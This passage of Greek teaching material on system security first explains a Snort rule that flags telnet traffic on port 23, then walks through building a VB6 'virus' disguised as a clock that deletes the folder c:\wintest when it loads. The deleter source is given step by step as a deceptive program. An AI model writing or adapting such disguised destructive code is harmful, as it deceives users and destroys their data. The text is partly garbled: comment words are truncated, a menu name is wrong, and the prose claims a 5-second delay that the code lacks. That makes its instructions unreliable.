Ακολουθούν τα περιεχόµενα του αρχείου telnet.rules το οποίο περιέχει τα φίλτρα για την παρακολούθηση της δραστηριότητας µέσω telnet: alert tcp any 23 <> any any (msg:"telnet access detected";) Όπου: alert: Θα καταχωρηθεί στο log αρχείο κάθε προσπάθεια σύνδεσης µε χρήση της υπηρεσίας telnet από και προς τον υπολογιστή που εκτελείται το snort. tcp:το πρωτόκολλο στο οποίο θα γίνει η ανάλυση any 23:Η διεύθυνση και η θύρα προέλευσης των πινάκων telnet <>: Η ροή των πακέτων. Από και προς τον υπολογιστή που τρέχει το snort. any any: Η διεύθυνση και η θύρα προορισµού των πακέτων telnet. msg: ;:Το µήνυµα που θέλουµε να µας εµφανίζεται στην οθόνη για κάθε προσπάθεια σύνδεσης µε χρήση telnet. Κατασκευή ιού σε Visual Basic Στην προκειµένη περίπτωση θα εξετάσουµε έναν ιό που σβήνει έναν φάκελο του συστήµατος. Υλοποίηση του πηγαίου κώδικα Για την κατασκευή αυτού του είδους ιού, θα πρέπει να γνωρίζουµε πως µπορούµε να διαχειριστούµε αρχεία µε την χρήση της Visual Basic 6.0. Έτσι η VB µας δίνει την δυνατότητα ελέγχου αρχείων µέσω της βιβλιοθήκης Microsoft Scripting Runtime. Για να µπορέσουµε να ενσωµατώσουµε αυτή την βιβλιοθήκη εκτελούµε τα εξής βήµατα: 1. Από το menu επιλέγουµε Project->Preferences 2. Επιλέγουµε Microsoft Scripting Runtime 3. Πατάµε OK Ιός Ρολόι Παρακάτω θα εξετάσουµε τον πηγαίο κώδικα του ιού που στον ανυποψίαστο χρήστη είναι απλά ένα ρολόι. Στην πραγµατικότητα όµως, όταν περάσουν 5sec αυτόµατα διαγράφεται ο φάκελος wintest από τον σκληρό σας. 1. Ανοίξτε την VB6 και πατήστε New Standar Exe 2. Επιλέξτε το Microsoft Scripting Runtime 3. Προσθέστε ένα label στην φόρµα σας 4. Αλλάξτε από τα properties του Label την επιλογή font και διαλέξτε Comics_San, Bold Italic, 28 5. Προσθέστε ένα timer στην φόρµα σας και αλλάξτε από τα properties την τιµή interval σε 500 6. Προσθέστε των παρακάτω κώδικα Private Sub Form_Load() ίνει τον έλεγχο αρχείου σε µία µεταβλητή Dim a As New FileSystemObject Dim ds Η µεταβλητή ds πέρνει το χειρισµό του φακέλου wintest Set ds = a.getfolder("c:\wintest ") ιαγράφεται ο φάκελος ds.delete End Sub 37

Private Sub Timer1_Timer() Το Label δείχνει την ώρα Label1.Caption = Time End Sub 38